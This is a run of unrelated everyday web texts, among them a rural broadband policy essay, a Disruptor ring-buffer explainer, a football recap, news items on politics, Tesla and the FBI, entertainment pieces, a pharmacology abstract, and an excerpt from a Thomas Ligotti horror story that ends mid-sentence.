One of the goals of the Federal Communications Commission’s Connect America Fund is to expand access to high-speed Internet access for rural residents.  A modernized Communications Act will also be important in removing impediments to broadband development and encouraging continued private investment in new communications technologies. Wireless spectrum is a finite resource, and demand for it is growing exponentially. According to Cisco, U.S mobile data use will increase by 650% by 2018. Policymakers and regulators need to act to address this growing demand. In 2010, the FCC’s National Broadband Plan set a goal of making 500 MHz of new spectrum available for mobile broadband use over 10 years, including an additional 300 MHz of spectrum within five years. However, the FCC has only made about 135 MHz of licensed spectrum available thus far.  Policymakers must develop strategies to bring more wireless spectrum into the marketplace, not only expand the reach of wireless networks, but also create a pipeline of spectrum for emerging technologies. Congress should consider a more modern spectrum policy to determine who gets spectrum and how it is used. Relying on market mechanisms to allocate and use spectrum could be more efficient and beneficial for the public than the current government allocation process, which is slow to react to market conditions and typically takes years to complete. Moreover, Congress must set forth a path to better manage the federal government’s own large spectrum holdings, which is often not used efficiently.  Regulations should be flexible enough to allow companies to design and deploy innovative solutions that serve the needs of rural as well as urban residents. One possibility cited by the PCIA report is the use of lower-frequency spectrum bands, which cover a wider range, for rural cellular service. Another possibility is to permit greater sharing of spectrum bands in less densely populated rural areas to increase utilization.  Hacking the farm  If the technology is available, farmers are ready to use it. Perhaps the most interesting event in the development of agtech took place in April of this year when a group of computer coders spent a weekend working with a group of farmers deep in the middle of California’s agricultural heartland. This was the first Apps for Ag Hackathon whose goal was to create new apps that met farmers’ specific needs. It was the brainchild of Robert Tse, State Broadband Coordinator for the U.S. Department of Agriculture in California, who described the event as “a rare occasion where the government took a risk on an unconventional initiative.”  Six teams participated in the two-day competition, which was held on the campus of a community college in the small farming community of Coalinga. The winning entry was SWARM, a Tinder-like phone app designed to help farmers quickly identify unknown insects they find in their fields and determine whether they are dangerous or benign. The organizers considered the event a success and hope that it will be the first of many similar events in the future.  Rogers and Hammerstein’s hit 1943 musical Oklahoma! included a rousing song about how “The Farmer and the Cowman Should Be Friends.” Today, it would seem, it’s time for the farmer and the hacker to be friends.  Richard Adler is a distinguished fellow at the Institute for the Future in Palo Alto, Calif. He has written widely about the future of broadband and its impact on fields such as education, healthcare, government and commerce.
-Disruptor is a high-performance library for passing messages between threads, developed and open sourced some years ago by LMAX Exchange company. They created this piece of software to handle an enormous traffic (more than 6 million TPS) in their retail financial trading platform. In 2010 they surprised everyone how fast their system can be by doing all the business logic on a single thread. Even though a single thread was an important concept in their solution, a Disruptor (which is not part of business logic) works in a multithreaded environment. Disruptor is based on ring buffer which is definitely not a new concept.  Ring Buffer  Ring buffer has many names. You might have heard of a circular buffer, circular queue or cyclic buffer. All of them mean the same. It is basically a linear data structure in which the end points to the beginning of the structure. It’s easy to reason about it as a circular array without the end.  As you can imagine, a ring buffer is mostly used as a queue. It has a read and write positions which are used by consumer and producer respectively. When read or write index reaches the end of the underlying array, it is set back to 0. This activity is usually called “wrapping around” and it requires a bit more explanation.  Wrapping around  Consider the following situation: We have the write index at the end of the array and the read index at the beginning. Is it safe to wrap around?  Well, it’s easy to imagine a streaming example where stale data is not needed anymore because the fresher and more relevant data keeps coming, but usually, we do care about not yet processed data. If that’s the case, either returning a false boolean or blocking, as traditional bounded queues do, would work. If none of these solutions satisfies us, we can implement a ring buffer which can resize itself (but only when it gets full, not just when a producer reaches the end of the array and it can safely wrap around). Resizing would require moving all the elements to a newly allocated bigger array (if an array is used as an underlying data structure) which is an expensive operation, of course.  Ring Buffer in Disruptor  What kind of problem does ring buffer solve in Disruptor? Let’s look at the typical use case for Disruptor:  As you can see, we have a single message being sent to the input queues of multiple consumers (1-4) – so it’s a typical multicast (sort of publish and subscribe semantics). Then we have a barrier – we want all consumers to finish processing the message before we move to the next step. When the barrier is passed, the message goes to the input queue of the last consumer. To sum up, we have four independent (and thus potentially parallel) tasks (Consumers 1-4) operating on the same data and one task (Dependant Consumer) which requires all the previous tasks to be finished before it starts working.  And where is the ring buffer in this architecture? Well, a ring buffer is actually this architecture.  Let’s imagine that a message is a single item in our ring buffer. Ring buffer represents our actual queue (or multiple downstream queues if you prefer). Each consumer is a separate thread traversing ring buffer round and round (or consuming messages from the queue if you prefer).  The barrier is implemented in a way that dependant consumer cannot go past any of the consumers which are required to be finished before it starts processing a ring buffer item (a message).  Single Writer Principle  Even though the most performant way of using Disruptor is to have a single producer and multiple consumers, a multi-producers scenario is also possible. In that case, there might be a write contention on the same cursor. Disruptor doesn’t use traditional locks to solve this problem – so it’s lock-free (with the exception of BlockingWaitStrategy). Instead, it relies on memory barriers and/or high-performance CAS operation.  What if the dependant consumer requires some data produced by any of the previous consumers? Can a consumer also modify the item in the ring buffer and thus be a writer? It turns out that a very simple rule is used here – each item in a ring buffer consists of set of fields and each field has at most one consumer which is allowed to write to it. This prevents any write-contention between consumers.  Summary  There are many other things which makes Disruptor fast, for example:  consuming messages in a batching mode  CPU- cache – friendly benefits using data locality in a ring buffer  cache friendly preallocation of the messages in ring buffer to avoid frequent garbage collection of the items (so they are reused)  As I explained here, even though ring buffer is a relatively simple data structure, it can be easily used to implement way more complex scenarios and Disruptor is just an example.
-CBO Projects Rising Wage Inequality  Last month the Congressional Budget Office (CBO) released its Budget and Economic Outlook report for 2016 to 2026. While various aspects of the report have gotten major play in the media, one important yet overlooked detail is what CBO says about wage inequality. Specifically, CBO expects to see a “continued increase in the share of wages earned by higher-income taxpayers” (pg. 88). It indicates that another 4 percentage points of wage income will be redistributed from the bulk of the workforce to the roughly 7 percent of workers who earn more than the cap on wages subject to the Social Security tax (currently $118,500):  “The share of covered earnings above the taxable maximum amount is projected to rise to more than 20 percent in 2026, 4 percentage points more than the share in 2015...” (pg. 94)  This ceiling on the amount of wages subject to taxation rises in line with average wage growth every year. If inequality goes up and high-wage workers’ earnings rise faster than average, a greater share of overall wages are exempt from taxation. Due to rising inequality, the share of wages going untaxed has nearly doubled from one-tenth to nearly one-fifth over the past thirty years.  CBO expects that 33 percent of all wage growth between 2016 and 2026 will occur above the tax ceiling. As can be seen below, CBO’s projections imply that earnings above the ceiling will grow 92 percent between 2015 and 2026, while earnings below the ceiling will grow just 48 percent (in nominal dollars).  This translates to about a 6 percent wage cut for low- and middle-wage workers by 2026 compared to a scenario in which the wage distribution did not change:
-The Vanderbilt Commodores gave the No. 4/6 Florida Gators everything they could handle on Saturday night at Vanderbilt Stadium in Nashville, TN, but it simply was not enough to pull off the upset as Florida (6-0, 5-0 SEC) always had an answer for Vanderbilt (2-4, 1-3 SEC) and picked up a hard-fought 31-17 victory.  The Gators out-rushed the Commodores 327-126 in an effort led by Florida sophomore Jeff Driskel, who scored three rushing touchdowns and bested Tim Tebow by setting a school single-game record for a quarterback with 177 rushing yards.  Vanderbilt got on the board first, completing a six-play, 66-yard drive that resulted in quarterback Jordan Rodgers’s first touchdown pass since the second week of the season. The Commodores benefited from a 15-yard penalty at the beginning of the drive when kick-catch interference was called on Gators sophomore cornerback Loucheiz Purifoy for hitting the punt returner too soon after he caught the ball.  Purifoy then got beat by wide receiver Chris Boyd for a 37-yard reception, and Florida junior safety Matt Elam was leapt over in the end zone three plays later as WR Jordan Matthews hauled in the touchdown. It was the first touchdown UF had given up in nine quarters dating back to the Tennessee game in week three.  The Gators finally registered some points on their first possession of the second quarter. Florida took over at its own nine yard line and put together an 11-play, 91-yard drive to score its first points of the game. Senior running back Mike Gillislee tallied 27 yards on the possession, but it was sophomore QB Jeff Driskel who scampered 37 yards down the left sideline for the touchdown.  UF then decided to go for two and converted as junior RB Trey Burton took a keeper into the end zone on a spread-out formation to give the Gators an early 8-7 lead.  Read the rest of the Florida-Vanderbilt story…after the break!  Faced with another long field, Florida took over from its own 12 and wound up at Vanderbilt’s two-yard line after Driskel completed 4-of-6 passes and ran for 36 yards on the drive. UF also benefited from a 15-yard pass interference call in the end zone. The Gators then nearly lost the ball as redshirt senior tight end Omarius Hines fumbled at the one, though Florida recovered and got another opportunity.  A 13-men-on-the-field penalty pushed the Gators back a bit and Florida threw incomplete on the next two plays, settling for a 23-yard field goal by redshirt senior kicker Caleb Sturgis to take an 11-7 lead at the half. UF’s drive lasted 3:09 and consisted of 12 plays going for a total of 83 yards.  The Commodores got the ball to begin the second half and drove 75 yards down to the Gators’ eight-yard line in 14 plays. Vanderbilt then got called for a false start before Rodgers was sacked by senior safety Josh Evans for a 14-yard loss, forcing VU to try a 44-yard field goal. That attempt was blocked by redshirt senior defensive lineman Earl Okine and recovered by Purifoy, keeping the Commodores off the board despite the fact that they had possession for the first 8:43 of the second half.  Florida appeared to go three-and-out on the ensuing possession but instead of punting on 4th-and-5 from UF’s 43-yard line, junior WR Solomon Patton took a fake 54 yards down to Vanderbilt’s three. After a 10-yard holding penalty, Driskel ran a keeper 13 yards into the end zone to give the Gators an 18-7 lead with 4:31 left in the third quarter.  After the teams traded punts, Florida forced Vanderbilt into a 3rd-and-8 at its own 20-yard line. Senior Mike linebacker Jon Bostic sacked Rodgers when he dropped back to throw on the play, and the ball was immediately recovered by redshirt sophomore LB Neiron Ball. The Gators were held to a 29-yard field goal and took a 21-7 lead with 13:30 left in the game.  The Commodores got a new burst of energy after the field goal, running right down the field to be faced with a 1st-and-10 from UF’s 22-yard line. Rodgers was intercepted by sophomore S De’Ante Saunders on that play, but a defensive holding negated the turnover and gave Vanderbilt another chance. The Commodores used that opportunity to complete an 11-play, 75-yard drive capped by a one-yard touchdown by RB Zac Stacy to reduce their deficit to 21-14 with just under nine minutes left.  Stacy’s touchdown accounted for the first points allowed by the Gators’ defense in the fourth quarter all season.  On the ensuing kickoff, Florida redshirt junior WR Andre Debose registered his best return of the season, bringing the ball 60 yards down the field before being knocked out at Vanderbilt’s 37-yard line. The Gators stalled inside the 10 and settled for their third field goal of the night, a 26-yard attempt, to go up 10 points with 5:22 to play.  The Commodores did not waste any time getting back into scoring position. On the first play from scrimmage after the kickoff, Rodgers completed a 53-yard pass to Matthews to bring Vanderbilt down near Florida’s red zone. Five plays later, Stacy dropped what would have been a touchdown pass and VU settled for a 22-yard field goal to get within a touchdown of UF with 2:35 remaining in the contest.  The Gators downed the kickoff at the 30 but did not wait long to regain their 10-point lead as Driskel took a zone read 70 yards down the field for his third touchdown of the game. The Commodores were unable to answer and failed on a 4th-and-Goal with less than a minute remaining.  Florida had a huge rushing advantage on Vanderbilt, but the Commodores outdid the Gators in the passing game by registering 237 yards to the visitors’ 77. UF’s 10 penalties for 80 yards were devastating, as was the team’s 2-for-11 mark on third-down conversion attempts. Vanderbilt was 7-for-17 on third down and also out-possessed Florida by 6:20, a rare occurrence this season.  The Gators have another tough test next week when they host South Carolina in Gainesville, FL on Saturday at a yet to be determined time.
-So much for beyond a reasonable doubt. According to a new report by the FBI, the bureau’s forensic experts have made numerous mistakes in linking evidence to defendants in death penalty cases. The report noted 27 instances of incorrect testimony that helped convict defendants in death penalty cases.  An unprecedented federal review of old criminal cases has uncovered as many as 27 death penalty convictions in which FBI forensic experts may have mistakenly linked defendants to crimes with exaggerated scientific testimony, U.S. officials said… It is not known how many of the cases involve errors, how many led to wrongful convictions or how many mistakes may now jeopardize valid convictions. Those questions will be explored as the review continues.  The full extent of the impact of the study is still unknown, but the report already led to a stay of execution in Mississippi last May. There may be more reviews and stays on the way.  The FBI and Justice Department worked with the Innocence Project and the National Association of Criminal Defense Lawyers (NACDL) in authoring the review.  Under terms finalized with the groups last month, the Justice Department will notify prosecutors and convicted defendants or defense attorneys if an internal review panel or the two external groups find that FBI examiners “exceeded the limits of science” when they claimed to link crime scene hair to defendants in reports or testimony. If so, the department will assist the class of prisoners in unprecedented ways, including waiving statutes of limitations and other federal rules that since 1996 have restricted post-conviction appeals. The FBI also will test DNA evidence if sought by a judge or prosecutor.  Though there are only 27 cases listed even more could be influenced by the review. The Innocence Project has said that one of the criteria for faulty hair evidence has been met in 2000 cases. The implications of the review could be extensive.  America is one of the few developed countries that still has the death penalty. Now, upon learning of faulty evidence in many death penalty convictions, perhaps it is time to rethink the death penalty.  Photo by KimChee under public domain.
-After suffering from several delays during its development, the Model X, which Tesla first unveiled in 2012 and planned to start deliveries in early 2014, started going into low volume production only in September 2015 and production didn’t pick up to high volume for another 6 months.  Tesla CEO Elon Musk pointed to several difficulties in the design like the second-row seats, but the Falcon Wing doors were always the main recurring suspects for the cause of the delays, and it was all but confirmed to be the cause when Tesla sued the company behind the original design of the mechanism of the Falcon Wing doors, Swiss-based auto supplier Hoerbiger, for delays in January 2016.  Now we learn that Tesla and Hoerbiger settled the case, but the terms of the settlement have not yet been disclosed.  Reuters reports that Tesla and Hoerbiger “have delayed filing for a dismissal because certain conditions of the settlement will not be fulfilled until Oct. 4, according to an Aug. 18 filing by the companies.”  In the original lawsuit, Tesla claimed that it contracted and paid Hoerbiger to develop a hydraulic system for Falcon Wing doors of the Model X, but between February 2014 and May 2015, the German auto part supplier couldn’t produce a prototype that passed Tesla’s engineering standards because it “leaked oil and sagged or produced excessive heat”.  The automaker claimed to have then cut ties with Hoerbiger in May last year. It claimed to have designed and built its own electromechanical door system to replace Hoerbiger’s hydraulic system and hired a new supplier at a premium to rush the production of the new system.  The company says it also incurred “millions of dollars in damages, including, but not limited to costs of re-tooling the entire vehicle in order to support a different engineering solution.”  But Tesla only filed a lawsuit after Hoerbiger demanded to be paid “a large sum of money” as per the contract, which Tesla believed had been breached. The automaker was seeking for Hoerbiger to pay damages and attorney fees as well as punitive damages for negligence, but it later dropped the claim.  Now it’s apparently settled and we will know the terms next week.
-The Liberal Democrats are heading for their first coalition showdown with the Tories since last week's elections in the House of Lords when they will mount an attempt to delay the introduction of elected police commissioners.  The move will be the first material test of the Lib Dems' weekend promise to be a "louder voice in government" after last week's disastrous election results.  It comes as Nick Clegg is due to reaffirm his party's support for refugees and asylum seekers. In a speech at the Refugee Council's 60th anniversary celebrations, Clegg is to argue that "Liberals, progressives and true patriots" must reclaim Britishness and not surrender its meaning to "bigots and xenophobes like the BNP".  The deputy prime minister is also to criticise the "constant hum of cheap populism" from politicians of right and left and parts of the media that vilifies refugees and paints asylum seekers as a threat to the country.  Labour have made clear they will back Lib Dem amendments to the police bill in the Lords that seek to delay the first elections for police commissioners due next May by calling for their introduction to be piloted in up to six police force areas first.  The home secretary, Theresa May, slapped down the Lib Dems' home affairs spokesman, Tom Brake, who backed the demand for pilots and argued that stronger "robust checks and balances" were needed to ensure that the commissioners did not interfere in operational police matters.  She said the new police and crime commissioners would be introduced in every police force across England and Wales outside London next May.  The move follows mounting concern from senior police officers, including the Metropolitan Police Commissioner, over the threat to their operational independence posed by elected commissioners.  Two Lib Dem amendments are scheduled for debate and a possible showdown vote during the committee stage of the police bill.  The first, by Baroness Hamwee, calls for pilots to be held in six police force areas each lasting two years before a final decision is taken to roll them out nationally.  The second by Lord Bradshaw is tougher urging that two 3-year pilot schemes be introduced from next May which would take the final decision beyond the next general election. It is possible – but not guaranteed – that the debate will go to a vote.  Labour said they would support any Lib Dem amendment on pilots for police commissioners. The shadow home secretary, Yvette Cooper, said Clegg had called for a "'louder Liberal Democrat voice'. Well it sounds like they are shouting, but she [May] is not listening."  In his Refugee Council speech Clegg is to argue that the Coalition is "unwinding the damage of years of mismanagement" of the asylum system in Britain. He says that they inherited a system in which innocent children were imprisoned bars and thousands of asylum seekers were forced into a forgotten underclass as their applications were lost in limbo for years.  He argues that this was against a backdrop of "a constant hum of cheap populism. Politicians on the right, on the left, and parts of the media vilifying refugees; lumping anyone seeking asylum into the same category; and then painting those people as a threat to the country.  "We must not surrender the meaning of Britishness to the bigots and xenophobes. Liberals, progressives, true patriots must reclaim this ground."  This is language that is unlikely to feature in a David Cameron speech.
-Rhus javanica, a medicinal herb, has been shown to exhibit oral therapeutic anti-herpes simplex virus (HSV) activity in mice. We purified two major anti-HSV compounds, moronic acid and betulonic acid, from the herbal extract by extraction with ethyl acetate at pH 10 followed by chromatographic separations and examined their anti-HSV activity in vitro and in vivo. Moronic acid was quantitatively a major anti-HSV compound in the ethyl acetate-soluble fraction. The effective concentrations for 50% plaque reduction of moronic acid and betulonic acid for wild-type HSV type 1 (HSV-1) were 3.9 and 2.6 microgram/ml, respectively. The therapeutic index of moronic acid (10.3-16.3) was larger than that of betulonic acid (6.2). Susceptibility of acyclovir-phosphonoacetic acid-resistant HSV-1, thymidine kinase-deficient HSV-1, and wild-type HSV type 2 to moronic acid was similar to that of the wild-type HSV-1. When this compound was administered orally to mice infected cutaneously with HSV-1 three times daily, it significantly retarded the development of skin lesions and/or prolonged the mean survival times of infected mice without toxicity compared with the control. Moronic acid suppressed virus yields in the brain more efficiently than those in the skin. This was consistent with the prolongation of mean survival times. Thus, moronic acid was purified as a major anti-HSV compound from the herbal extract of Rhus javanica. Mode of the anti-HSV activity was different from that of ACV. Moronic acid showed oral therapeutic efficacy in HSV-infected mice and possessed novel anti-HSV activity that was consistent with that of the extract.
-An accused burglar is dead in an unusual turn of events after a homeowner caught him breaking into his Leroy residence on Friday night, Washington County Sheriff Richard Stringer said.  In an attempt to stop a string of burglaries at his mobile home, Stringer said Nathanial Johnson, 68, of Spurgeon Road set a trap.  Johnson parked his vehicle at a neighbor's place on Friday night, went back to his home and waited.  Sometime before midnight, Johnson told sheriff's deputies he heard someone knock on the front door of his home. When he didn't answer, the person went to the backdoor and broke the lock.  Alabama man who tied burglar to tree: 'I was just trying to stop a thief' Wearing a fluffy green camouflage robe, a black leather cap and gold ring on his right pinky finger, he said he was done talking about the incident last Friday night where he tied up a burglar and waited for police to come.  Johnson told police he met the burglar, identified as Cleveland Jones Gully, 31, at the door and chased him outside.  Stringer said Gully, who has a reputation for breaking into houses, then either fell or jumped off the back steps of the mobile home.  That's when Johnson jumped on Gully and tied his hands behind his back, he said.  Stringer said Johnson put duct-tape on Gully's mouth and tied him to a tree. He wrapped Gully to the tree with insulated electrical tape and clothesline, he said.  Johnson told police he then went back to his neighbor's house and called police.  "(Gully) was still alive at that point, and there was no indication that he was dying," Stringer said.  When sheriff's deputies arrived about 10 minutes later, though, Gully was dead, he said.  Stringer said Gully didn't have any visible injuries except for cuts around his body from the wire.  An autopsy will be performed to determine cause of death, he said.  Bystanders told police that Johnson didn't intend to kill Gully. He just wanted to stop him from breaking into his home, Stringer said.  He said Johnson wasn't armed with a firearm.  No criminal charges have yet been filed against Johnson, and Stringer isn't sure if any will be in the future.  "We will probably present it to the grand jury to see what they say about it," Stringer said.
-While grumblings over Facebook’s privacy standards continue one website is asking users to take a definitive step to protest. The goal of the website? To get you to quit Facebook on May 31st.  The website, appropriately named Quit Facebook Day, asks for people to add their name with others who plan to quit the social network. The campaign was created by Matthew Milan and Joseph Dee who believe Facebook does not offer its users fair choices nor does it have the best intentions for users. Though the two acknowledge issues around privacy are a legitimate concern, they believe this is “just a symptom of a larger set of issues”. To date, 3045 people have committed to quit Facebook on May 31st. That current number represents 0.00076125% of the current user base of Facebook assuming an active user base of at least 400 million.  While the Quit Facebook Day site offers up current alternatives to Facebook for users quitting cold turkey, one future alternative has already received overwhelming support financially. Diaspora is an open platform which will decentralize the sharing of personal information and allow each individual to host their own personal web server. The initiative is the brain child of four young programmers from NYU’s Courant Institute. The group (pictured above) has sought donations for the project via the Kickstarter website and has received overwhelming support. Their initial goal of $10,000 has already been well surpassed with current funding standing at over $175,000.  The funding will allow the group to give up “internships and summer jobs” for three months to focus on the creation of the platform. Once completed, the group will open source their source code and provide a paid turnkey solution for those want to use it, but don’t want to go through the hassle of setting it up themselves.  Read more at QuitFacebookDay , Diapora’s Kickstarter page, and JoinDiaspora.com.
-IFC  Scott Aukerman is a busy man. Yet despite writing, producing and starring in television shows for cable and Netflix, working on a few major awards-show programs, and hosting and appearing on more podcasts than anyone can count, Aukerman was more than happy to chat with Uproxx after a grueling day of press and production.  The season-four finale of Aukerman’s talk show parody Comedy Bang! Bang!, which features the sultry swagger of singer Josh Groban, airs tonight, Dec. 10, at 11 p.m. EST on IFC. It will mark 90 episodes for the cult-comedy hit — an achievement that Aukerman is very excited about. The comedian is also happy about his popular Comedy Bang! Bang! podcast, Chris Hardwick’s work ethic, the improv skills of Kid Cudi, and more. So we asked him about it.  Let’s get right to it.  [Sings.] Let’s get into it! Let’s hammer it all out!  Between podcasts, shows, and your work on the 2015 Emmy Awards, this has been a really busy year for you.  In January we started filming the second half of Comedy Bang! Bang! with Kid Cudi. In between, we paused season four so I could be a part of W/ Bob & David. Not only did I write on the Emmys for Andy Samberg, I also hosted the local Emmys and presented at the Creative Arts Emmys. Now we’re writing Comedy Bang! Bang! season five and I’m producing my wife Kulap Vilaysack’s show, Bajillion Dollar Propertie$, for NBC’s Seeso streaming service. Let’s not forget doing 60 or so episodes of the Comedy Bang! Bang! podcast and a few episodes of U Talkin’ U2 To Me? So yeah, it’s really been an exhausting year. Today I’m at peak exhaustion.
-The Big Bang Theory crew is bringing joy for all of us for 9 Seasons now while 10th is in the make, and this news isn’t striking anybody as anything out of the ordinary. This crew is, according to Forbes, the top paid on TV in 2016.  Jim Parsons (Sheldon) in this hit series takes the first place for the second year now after he collected $25.5 million over the past year according to Forbes. His show-mates Johnny Galecki (Leonard), Simon Helberg (Howard) and Nayyar Kunal (Rajesh) take the other three places.  If you remember last year’s headlines about The BBT cast, it was reported that they are doing a Friends and were negotiating a $1 million per episode for Parsons, Galecki and female co-star Kaley Cuoco.  According to Forbes‘ annual list of actors, we can see that the earnings by gender between males and females have gone down on TV while on movies there is still a huge gap between them. For instance, Dwayne Jonson (earned $64.5 million) by far out-earns his female colleague Jennifer Lawrence (earned $46 million). When we go to top paid actresses category, we can see that Kaley Cuoco the female star of The Big Bang Theory takes second place with annual earnings of $24.5 million just after Modern Family’s leading lady Sofia Vergara who cashed in $43 million last year. This figure has been significantly boosted by numerous endorsements and licensing deals.  Forbes’s spokesperson Madeline Berg stated for the Independent “The gender wage gap between men and women on TV is a lot smaller than on film, and that ensemble casts tend to negotiate their contracts together. That is why Kaley Cuoco makes $1 million per episode just like her castmate Jim Parsons”  One more interesting thing to know is that the Forbes calculates the earnings based on the data as well as interviews with agents, managers, lawyers and industry insiders and all estimated earnings shown are before management fees and taxes.
-Start with a problem: Eldrazi  Thought-Knot Seer is too good vs combo and demands your deck run tons of removal for it. Ideally instant speed removal. Also your deck can't be synergistic because Thought-Knot Seer takes synergistic cards away  Reality Smasher is too good vs removal.  Matter Reshaper is too good vs early game decks. Is only weak to some removal and creatures that beat it in combat.  -Other Eldrazi are color dependent and need to be dealt with on a case by case basis. Also Eldrazi Mimic usually isn't that oppressive as it's almost always going to be a 1 for 1.  White has the best removal for large eldrazi since they don't target Reality Smasher till they've entered the battlefield.  The other option is blue counterspells but I tried building a deck with counterspells and didn't like it.  Constraints: The deck must be cheap  The deck must survive rotation  Since the khans trilands are rotating out of Standard you need a dual colored deck unless SOI provides trilands.  New problem:  Monowhite can't card draw.  Then to start the deck I have to pick a card I want to play 4 of: [Knight of the white Orchid]. Which makes my mana base very white heavy which means I can only splash for a second color. And with 4 Knights I have to always pick to be on the draw.  Either go in black for Read the Bones or red for Frontier Siege. Frontier Siege rotates soon.  Elemental Bond in G also works  Ojutai's Command works too  For the sake of time I'll choose read the bones.
-Hibiki Tachibana (CV Aoi Yuuki), Tsubasa Kazanari (Nana Mizuki), Chris Yukine (Ayahi Takagaki), Maria Cadenzavna Eve (Yōko Hikasa), Shirabe Tsukuyomi (Yoshino Nanjō), Kirika Akatsuki (Ai Kayano), Miku Kohinata (Yuka Iguchi) and Carol Malus Dienheim (Inori Minase) stand together in newly previewed jacket art for Symphogear Live 2016, set to be released on DVD and Blu-ray on August 24th.  Films of the February 28th performance from Nippon Budokan features 48 tracks of music from the action sci-fi anime.  This was the event that announced that seasons four AND five of anime are in the works, with a game also mentioned by the staff and Hobby Stock working to keep up on the merchandise side.  With 48 page photo booklet, it goes for 7,000yen.  Art for store bonuses  earlier live cover art  Elsewhere, Sankyo has previewed their Symphogear pachislot machine.  ------  Scott Green is editor and reporter for anime and manga at geek entertainment site Ain't It Cool News. Follow him on Twitter at @aicnanime
-The following story was originally published in Grimscribe (1991) but can now be found in a new collection from Penguin Classics called Songs of a Dead Dreamer and Grimscribe .  Instructor Carniero was holding class once again.  I discovered this fact on my return from a movie theater. It was late and I thought, “Why not take a short cut across the grounds of the school?” This thought led to a whole train of thoughts that I often pondered, especially when I was out walking at night. Mainly these thoughts were about my desire to know something that I was sure was real about my existence, something that could help me in my existence before it was my time to die and be put into the earth to rot, or perhaps have my cremated remains drift out of a chimney stack and sully the sky. Of course, this desire was by no means unique to me. Nonetheless, I had spent quite a few years, my whole life it seemed, seeking to satisfy it in various ways. Most recently, I had sought some kind of satisfaction by attending the classes of Instructor Carniero. Though I had not attended his classes for very long, he seemed to be someone who could reveal what was at the bottom of things. Lost in my thoughts, then, I left the street I was walking along and proceeded across the grounds of the school, which were vast and dark. It was quite cold that night, and when I looked down the front of my overcoat I saw that the single remaining button holding it together had become loose and possibly would not last much longer. So a short cut on my return from that movie theater appeared to be the wise move.  I entered the school grounds as if they were only a great park located in the midst of surrounding streets. The trees were set close and from the perimeter of that parcel of land I could not see the school hidden within them. Look up here, I thought I heard someone say to me. When I did look up, I saw that the branches overhead were without leaves, and through their intertwining mesh the sky was fully visible. How bright and dark it was at the same time. Bright with a high, full moon shining among the spreading clouds, and dark with the shadows mingling within those clouds — a slowly flowing mass of mottled shapes, a kind of unclean outpouring from the black sewers of space.  I noticed that in one place these clouds were leaking down into the trees, trickling in a narrow rivulet across the wall of the night. But it was really smoke, dense and dirty, rising up to the sky. A short distance ahead, and well into the thickly wooded grounds of the school, I saw the spastic flames of a small fire among the trees. By the smell, I guessed that someone was burning refuse. Then I could see the misshapen metal drum spewing smoke, and the figures standing behind the firelight became visible to me, as I was to them.  “Class has resumed,” one of them called out. “He’s come back after all.”  I knew these were others from the school, but their faces would not hold steady in the flickering light of the fire that warmed them. They seemed to be smudged by the smoke, greased by the odorous garbage burning in that dark metal drum, its outer surface almost glowing from the heat and flaking off in places.  “Look there,” said another member of the group, pointing deeper into the school grounds. The massive outline of a building occupied the distance, a few of its windows sending a dim light through the trees. From the roof of the building a number of smokestacks stood out against the pale sky.  A wind rose up. It droned noisily around us and breathed a crackling life into the fire in the decayed metal drum. I tried to shout above the confusion of sounds. “Was there an assignment?” I cried out. But they appeared not to hear me, or perhaps were ignoring my words. When I repeated the question they briefly glanced my way, as if I had said something improper. I left them hunched around the fire, assuming they would be along. The wind died, and I could hear someone say the word “maniac,” which was not spoken, I realized, either to me or about me.  Instructor Carniero, in his person, was rather vague to my mind. I had not been in his class very long before some disease — a terribly serious affliction, one of my fellow students hinted — had caused his absence. So what remained, for me, was no more than the image of a slender gentleman in a dark suit, a gentleman with a darkish complexion and a voice thick with a foreign accent. “He’s a Portuguese,” someone told me. “But he’s lived almost everywhere.” And I recalled a particular phrase of reproof he used to single out those of us who had not been attending to the diagrams he was incessantly creating on the blackboard. “Look up here,” he would say. “If you do not look, you will learn nothing — you will be nothing.” A few members of the class never needed to be called to attention in this manner, a certain small group who had been longtime students of the instructor and without distraction scrutinized the unceasing series of diagrams he would design upon the blackboard and then erase, only to construct again, with slight variation, a moment later.  Although I cannot claim that these often complex diagrams were not directly related to our studies, there were always extraneous elements within them which I never bothered to transcribe into my own notes for the class. They were a strange array of abstract symbols, frequently geometric figures altered in some way: various polygons with asymmetrical sides, trapezoids whose sides did not meet, semicircles with double or triple slashes across them, and many other examples of a deformed or corrupted scientific notation. These signs appeared to be primitive in essence, more relevant to magic than mathematics. The in structor marked them in an extremely rapid hand upon the blackboard, as if they were the words of his natural language. In most cases they formed a border around a familiar diagram allied to chemistry or physics, enclosing it and sometimes, it seemed, transforming its sense. Once a student questioned him regarding what seemed his apparently superfluous embellishment of these diagrams. Why did Instructor Carniero subject us to these bewildering symbols? “Because,” he answered, “a true instructor must share everything, no matter how terrible or lurid it might be.”  As I proceeded across the grounds of the school, I noticed certain changes in my surroundings. The trees nearer to the school looked different from those in the encompassing area. These were so much thinner, emaciated and twisted like broken bones that had never healed properly. And their bark seemed to be peeling away in soft layers, because it was not only fallen leaves I trudged through on my way to the school building, but also something like dark rags, strips of decomposed material. Even the clouds upon which the moon cast its glow were thin or rotted, unraveled by some process of degeneration in the highest atmosphere of the school grounds. There was also a scent of corruption, an enchanting fragrance really— like the mulchy rot of autumn or early spring — that I thought was emerging from the earth as I disturbed the strange litter strewn over it. This odor became more pungent as I approached the yellowish light of the school, and strongest as I finally reached the old building itself.  It was a four‐story structure of dark scabby bricks that had been patched together in another era, a time so different that it might be imagined as belonging to an entirely alien history, one composed solely of nights well advanced, an after‐hours history. How difficult it was to think of this place as if it had been constructed in the usual manner. Far easier to credit some fantastic legend that it had been erected by a consort of demons during the perpetual night of its past, and that its materials were pilfered from other architectures, all of them defunct: ruined factories, ravaged mausoleums, abandoned orphanages, penitentiaries long out of use. The school was indeed a kind of freakish growth in a dumping ground, a blossom of the cemetery or the cesspool. Here it was that Instructor Carniero, who had been everywhere, held his class.  On the lower floors of the building a number of lights were in use, weak as guttering candles. The highest story was blacked out, and many of the windows were broken. Nevertheless, there was sufficient light to guide me into the school, even if the main hallway could hardly be seen to its end. And its walls appeared to be tarred over with something which exuded the same smell that filled the night outside the school. Without touching these walls, I used them to navigate my way into the school, following several of the greater and lesser hallways that burrowed throughout the building. Room after room passed on either side of me, their doorways filled with darkness or sealed by wide wooden doors whose coarse surfaces were pocked and peeling. Eventually I found a classroom where a light was on, though it was no brighter than the swarthy illumination of the hallway.  When I entered the room I saw that only some of the lamps were functioning, leaving certain areas in darkness while others were smeared with the kind of greasy glow peculiar to old paintings in oil. A few students were seated at desks here and there, isolated from one another and silent. By no means was there a full class, and no instructor stood at the lectern. The blackboard displayed no new diagrams but only the blurred remnants of past lessons. I took a desk near the door, looking at none of the others as they did not look at me. In one of the pockets of my 